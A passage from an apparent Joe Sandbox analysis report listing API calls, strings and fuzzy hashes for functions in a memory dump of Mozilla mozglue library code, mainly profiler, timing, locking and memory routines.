_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83
<none>, xrefs: 6C69DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

timeline-ipc, xrefs: 6C699096
timeline-fileio, xrefs: 6C6990A4
marker-table, xrefs: 6C69906C
data, xrefs: 6C6990E8
marker-chart, xrefs: 6C69905E
timeline-memory, xrefs: 6C699088
timeline-overview, xrefs: 6C69907A
name, xrefs: 6C698F16
stack-chart, xrefs: 6C6990B2

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

(null), xrefs: 6C67C596
0, xrefs: 6C67D30A

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
MapViewOfFileNuma2, xrefs: 6C6697B1
NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

